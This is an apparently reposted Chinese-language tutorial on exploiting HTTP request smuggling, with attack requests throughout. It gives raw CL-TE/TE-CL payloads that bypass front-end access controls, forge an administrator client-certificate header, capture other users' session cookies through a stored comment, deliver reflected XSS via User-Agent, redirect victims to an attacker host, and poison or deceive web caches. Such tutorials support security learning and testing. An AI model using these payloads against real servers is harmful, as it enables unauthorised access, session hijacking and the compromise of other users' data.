HTTP请求走私----二、HTTP请求走私漏洞的利用

本文阅读 14 分钟

在一些应用中,前端Web服务器用于实现一些安全控制,决定是否允许处理单个请求;通过前端控件后,请求才允许被转发到后端服务器。

例如:假设一个应用程序使用前端服务器来实现访问控制,只有当用户访问被授权的请求URL时才转发请求,后端服务器不再检查。在这种情况下,可以使用HTTP请求走私漏洞绕过访问控制,然后访问受限制的URL。

假设当前用户允许访问/home,但不允许访问/admin。可以使用以下请求走私攻击绕过此限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器在这里看到两个请求,都是访问/home,因此请求被转发到后端服务器。但是,后端服务器会看到一个请求/home;一个请求/admin;它认为请求已通过前端控件,因此允许访问/admin。

1、CL-TE示例如下: img 2、TE-CL示例如下: img

在某些应用程序中,前端服务器在将请求转发到后端服务器之前,通过添加一些额外的请求标头对请求进行重写。

例如,前端服务器可能:
1、终止 TLS 连接并添加一些描述所使用的协议和密码的标头;
2、添加X-Forwarded-For包含用户 IP 地址的标头;
3、根据他们的会话令牌确定用户的 ID 并添加一个标识用户的标头;或者
4、添加一些其他攻击感兴趣的敏感信息。

在此情况下,如果走私请求缺少前端服务器添加的标头,那么后端服务器可能无法以正常方式处理此请求,从而导致走私请求无法达到预期的效果。

此时我们需要准确地判断,前端服务器如何重写请求。我们可以执行以下步骤:
1、查找将请求参数的值反映到应用程序响应中的POST请求。
2、对参数进行随机排列,以便反映的参数最后出现在消息正文中。
3、将此请求走私到后端服务器,然后直接跟随一个希望显示其重写形式的普通请求。

假设一个应用程序有一个反映email参数值的登录函数:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

这会产生包含以下内容的响应:

<input id="email" value="wiener@normal-user.net" type="text">

可以利用以下请求走私攻击来获取前端服务器执行的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

请求将由前端服务器重写以包含额外的标头,然后后端服务器将处理走私的请求并将重写的第二个请求视为email参数值。然后它会在对第二个请求的响应中反映这个值:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

由于最后的请求正在被重写,你不知道它会结束多久。Content-Length走私请求中标头中的值将决定后端服务器相信该请求的时间。如果此值设置得太短,将只会收到部分重写的请求;如果设置太长,后端服务器将超时等待请求完成。针对于此,我们解决的方法是猜测一个比提交的请求大一点的初始值,然后逐渐增加该值以检索更多信息,直到获取所有内容。

一旦我们了解了前端服务器如何重写请求,那么就可以对走私请求进行重写,以确保后端服务器以预期的方式处理它们。

例如一个搜索功能: img 利用burpsiute发送以下请求两次,我们可以在响应中看到额外的请求标头:X-zdgvaJ-Ip: 218.18.229.178: img 将刚刚获取到的请求标头,添加到请求中,访问管理页面: img

作为TLS握手的一部分,服务器通过提供证书向客户端(通常是浏览器)进行身份验证,此证书包含他们的"通用名称"(CN),该名称应与其注册的主机名相匹配。客户端然后可以使用它来验证他们正在与属于的合法的预期域服务器交谈。

一些站点实现了一种相互TLS身份验证的形式,其中客户端还必须向服务器提供证书。在这种情况下,客户端的CN通常是用户名等,例如,它可以在后端应用程序逻辑中用作访问控制机制的一部分。

对客户端进行身份验证的组件通常通过一个或多个非标准HTTP标头将相关详细信息从证书传递到应用程序或后端服务器。例如,前端服务器有时会将包含客户端CN的标头附加到任何传入请求中:

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

由于这些标头应该对用户完全隐藏,因此后端服务器通常隐式信任它们。假如我们能够发送正确的标头和值,则可能绕过访问控制。 在实践中,这种方式通常无法利用,因为前端服务器往往会覆盖这些已经存在的标头。但是,走私的请求对前端完全隐藏,因此它们包含的任何标头都将原封不动地发送到后端。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

如果应用程序包含允许存储和检索文本数据的功能,则可以使用HTTP请求走私来获取其他用户请求的内容。可能包括会话令牌、启用会话劫持攻击或用户提交的其他敏感数据。用于此攻击的合适功能是评论、电子邮件、个人资料描述、屏幕名称等。

要执行攻击,需要走私一个向存储函数提交数据的请求,请求参数包含位于中最后的数据。后端服务器处理的下一个请求将附加到走私请求,结果是其他用户的原始请求被存储。

这种技术的一个限制是它通常只会捕获数据,直到适用于走私请求的参数定界符为止。对于 URL 编码的表单提交,这将是&字符,这意味着从受害者用户的请求中存储的内容将在第一个 结束&,它甚至可能出现在查询字符串中。

假设一个应用程序使用以下请求提交博客文章评论,该评论将被存储并显示在博客上:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

可以执行如下请求走私攻击,将数据存储请求走私到后端服务器:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

当后端服务器处理另一个用户的请求时,它会被附加到走私的请求中,从而存储用户的请求,包括受害用户的会话 cookie 和任何其他敏感数据:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

然后,就可以通过以正常方式检索存储的数据来检索其他用户请求的详细信息。

如下一个发表评论的功能: img

如果应用程序容易受到 HTTP 请求走私攻击并且还包含反射型 XSS,可以使用请求走私攻击来攻击该应用程序的其他用户。这种方法在两个方面优于对反射型XSS的正常利用: 1、不需要与受害用户交互。不需要向他们提供URL并等待他们的访问。我们只需走私一个包含XSS负载的请求,后端服务器处理的下一个用户请求就会被命中。 2、可用于在常规反射型XSS攻击中无法控制的请求部分中利用XSS,例如HTTP请求标头。

例如,假设一个应用程序在User-Agent头部有一个反射的XSS漏洞,我们可以在请求走私攻击中利用这一点,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将附加到走私的请求中,他们将在响应中收到反射的XSS负载。 如下请求User-Agent处存在XSS: img 我们可构造如下请求包,下一个用户的请求将附加到走私的请求中,他们将在响应中收到反射的XSS负载。 img

许多应用程序执行从一个URL到另一个URL的现场重定向,并将Host标头中的主机名放入重定向URL。这方面的一个示例是Apache和IIS Web服务器的默认行为,访问没有尾部斜杠的文件夹的请求,会重定向到包含尾部斜杠的同一文件夹:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

这种行为通常被认为是无害的,但可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的请求会触发到攻击者网站的重定向,这将影响后端服务器处理的下一个用户的请求。例如:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

此处,用户请求的是由网站上的页面导入的JavaScript文件,攻击者可以通过请求走私让用户重定向到https://attacker-website.com/home/

上述攻击的变体中,可能会利用HTTP请求走私来执行Web缓存中毒攻击。如果前端基础架构的任何部分执行内容缓存(通常是出于性能原因),则可能会使用异地重定向响应来毒化缓存。这将使攻击持续存在,影响随后请求受影响 URL 的任何用户。

在此变体中,攻击者将以下所有内容发送到前端服务器:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

走私的请求到达后端服务器,后端服务器像以前一样通过异地重定向进行响应。前端服务器根据它认为是第二个请求中的 URL 缓存此响应,即/static/include.js:

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从这一点开始,当其他用户请求此 URL 时,他们会收到指向攻击者网站的重定向。

Web缓存中毒和Web缓存欺骗的区别:
Web缓存中毒:攻击者使应用程序在缓存中存储一​​些恶意内容,并将这些内容从缓存中提供给其他应用程序用户。
Web缓存欺骗:攻击者使应用程序将属于另一个用户的一些敏感内容存储在缓存中,然后攻击者从缓存中检索这些内容。

攻击者走私一个请求,该请求返回一些敏感的用户特定内容。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

来自另一个用户的下一个转发到后端服务器的请求将附加到走私的请求中,包括会话 cookie 和其他标头。例如:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

后端服务器以正常方式响应此请求。请求中的 URL 用于用户的私人消息,并且请求是在受害者用户会话的上下文中处理的。前端服务器根据它认为是第二个请求中的URL缓存此响应,即/static/some-image.png:

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

然后攻击者访问静态URL并接收从缓存返回的敏感内容。

参考来源: ①https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-door-15153https://portswigger.net/web-security/request-smugglinghttps://datatracker.ietf.org/doc/html/rfc7231

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/122229190
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复